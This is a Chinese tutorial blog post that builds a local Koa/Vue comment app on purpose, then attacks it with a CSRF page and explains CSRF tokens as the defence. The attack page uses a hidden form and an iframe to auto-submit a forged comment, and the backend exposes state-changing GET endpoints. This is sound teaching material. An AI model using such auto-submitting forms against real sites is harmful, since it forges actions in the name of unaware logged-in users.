CSRF防御及模拟CSRF攻击

时间:2024-07-20 07:00:54

CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种攻击方式,攻击者可以诱使用户在已登录的应用中执行非本意的操作。为了防御这种攻击,许多Web应用会使用CSRF Token来验证请求的合法性。

0.csrf 攻击原理

 

2. 后端服务app.js 使用nodemon插件启动服务需全局安装nodemon app.js

const Koa = require('koa');
const Router = require('koa-router');
const bodyParser = require('koa-bodyparser'); // 用于解析请求体
// const cookies = require('koa-cookies');

const app = new Koa();
const router = new Router();

// 使用中间件解析请求体
app.use(bodyParser());

var listLog = []
let username = ''
router.get('/login', (ctx, next) => {
  // 获取 url
  let url = ctx.url;
  // 从上下文中获取get请求参数
  // 获取GET请求参数
  const queryParams = ctx.query;
  console.log(`GET请求参数: ${JSON.stringify(queryParams)}`)
  console.log(queryParams.username)
  if (queryParams.username == 'admin') {
    username = 'admin'
    ctx.cookies.set('myCookie', queryParams.username, {
      maxAge: 1000 * 60 * 60, // 1小时过期
      httpOnly: true, // 仅在http请求中可用,不允许js访问
      overwrite: true, // 覆盖已有的cookie
      SameSite: "strict" //更严格的安全模式,cookie永远不会附带于跨站点的请求上,即使是在*导航的情况下也不会发送cookie
    });
  }
  // next()
});
router.get('/getMsg', (ctx, next) => {
  ctx.body = {
    data: listLog
  };
});

router.post('/setMsg', async (ctx) => {
  console.log(ctx.request)

  const queryParams = ctx.request.body.msg; // 获取请求体
  // 处理body中的数据...
  listLog.push({ msg: queryParams, username: username || '匿名用户' })
  ctx.body = {
    data: listLog
  };
})
router.get('/setMsg', (ctx, next) => {
  const queryParams = ctx.query.msg;
  listLog.push({ msg: queryParams, username: username || '匿名用户' })
  ctx.body = {
    data: listLog
  };
});
router.get('/clearmsg', (ctx, next) => {
  listLog = []
  ctx.body = {
    data: listLog
  };

});


app.use(router.routes()); // 匹配路由并调用相应的处理函数
app.use(router.allowedMethods());

app.listen(9000);
console.log('Server is running on port 9000');


3. 前端服务

<template>
  <div class="hello">
    <el-input
      style="width: 300px"
      v-model="from.username"
      disabled
      placeholder="请输入内容"
    ></el-input>
    <el-button @click="login">登录</el-button>
    <h1 style="float: left">
      <el-button @click="clearmsg">清空评论</el-button>
    </h1>
    <h1>
      <el-input style="width: 300px" v-model="msg" placeholder="请输入评论信息">
      </el-input>
      <el-button @click="setmsg">添加评论</el-button>
    </h1>

    <el-table :data="tableData" style="width: 100%">
      <el-table-column prop="username" label="姓名" width="180">
      </el-table-column>
      <el-table-column prop="msg" label="评论信息"> </el-table-column>
    </el-table>
  </div>
</template>

<script>
export default {
  name: "HelloWorld",
  data() {
    return {
      msg: "",
      from: {
        username: "admin",
        password: "123",
      },
      tableData: [],
    };
  },
  mounted() {
    this.getmsg();
  },
  methods: {
    login() {
      this.$axios
        .get("/app/login", { params: { ...this.from } })
        .then((res) => {
          console.log(res.data.data);
        });
    },
    getmsg() {
      this.$axios.get("/app/getMsg", {}).then((res) => {
        this.tableData = res.data.data;
        console.log(res.data.data);
      });
    },
    setmsg() {
      /* this.$axios
        .get("/app/setMsg", { params: { msg: this.msg } })
        .then((res) => {
          this.msg = "";
          console.log(res.data.data);
          this.getmsg();
        }); */
      this.$axios.post("/app/setMsg", { msg: this.msg }).then((res) => {
        this.msg = "";
        console.log(res.data.data);
        this.getmsg();
      });
    },
    clearmsg() {
      this.$axios.get("/app/clearmsg", {}).then(() => {
        this.getmsg();
      });
    },
  },
};
</script>

<!-- Add "scoped" attribute to limit CSS to this component only -->
<style scoped>
h1,
h2 {
  font-weight: normal;
}
ul {
  list-style-type: none;
  padding: 0;
}
li {
  display: inline-block;
  margin: 0 10px;
}
a {
  color: #42b983;
}
</style>

 

 4. csrf跨站攻击脚本

<!doctype html>
<html>

<head>
  <meta charset="utf-8" />
  <title>csrf demo</title>
</head>

<body>
  hello,这里什么也没有。
  <!-- <a href="http://127.0.0.1:8080/app/getMsg?msg=来自CSRF攻击">点击这里有钱拿</a> -->
  <!-- <img src="http://127.0.0.1:8080/app/getMsg?msg=来自CSRF攻击" alt="" srcset=""> -->

  <script>
    document.write(`
				<form name="commentForm" target="csrf" method="post" action="http://localhost:8080/app/setMsg">
          <input name="msg" type="hidden" value="来自CSRF攻击">
					<textarea name="content">来自CSRF攻击!</textarea>
				</form>`
    );

    var iframe = document.createElement('iframe');
    iframe.name = 'csrf';
    iframe.style.display = 'none';
    document.body.appendChild(iframe);

    setTimeout(function () {
      document.querySelector('[name=commentForm]').submit();
    }, 1000);
  </script>
</body>

</html>

5.攻击详情部署

1:首先不登录的情况添加评论1,刷新前端页面。

2:点击登录按钮添加评论123,刷新前端页面。

3:打开csrf跨站攻击脚本页面,刷新前端页面。

6.防御csrf攻击方式

1.CSRF Token

CSRF Token(跨站请求伪造令牌)并不是指登录成功后返回的用于身份验证的token,尽管它们可能看起来相似并且都涉及到了“token”这个词,但它们有着不同的目的和机制。

登录返回的Token(Session Token 或 Access Token)

当你登录到一个网站或应用时,服务器可能会生成一个token,通常是session token或者access token,然后返回给客户端。这个token会存储在客户端(比如浏览器的cookie中),并在后续的每个请求中附带,以便服务器可以验证请求的来源。这个token的作用是证明用户已经通过了身份验证,是用户与服务器之间会话状态的一部分。

CSRF Token

CSRF Token则是为了防止跨站请求伪造攻击而设计的。在CSRF攻击中,攻击者试图诱使已登录的用户在不知情的情况下执行恶意操作,例如转账或改变账户设置。CSRF Token是一种额外的安全措施,用来确认发起请求的页面是可信任的源。

CSRF Token的机制是这样的:

  1. 用户登录后,服务器会生成一个随机的CSRF Token,并将其存储在服务器端,同时也会将这个Token以某种形式(如隐藏的表单字段、HTTP header或cookie)发送给客户端。
  2. 当客户端发起敏感请求时,必须包含这个CSRF Token。
  3. 服务器接收到请求后,会验证请求中的CSRF Token是否与服务器上存储的Token相匹配。如果不匹配,则拒绝请求。

因为CSRF Token是在用户登录后由服务器独立生成的,且每个会话或每个请求都可能是不同的,所以即使攻击者能够控制用户点击链接或按钮,他们也无法预测或复制正确的CSRF Token,因此无法成功伪造请求。

总之,登录返回的token主要用于身份验证和授权,而CSRF Token则专门用于保护应用程序免受跨站请求伪造攻击。两者虽然都是token,但在功能和使用场景上是不同的。

2.登录验证码或者是token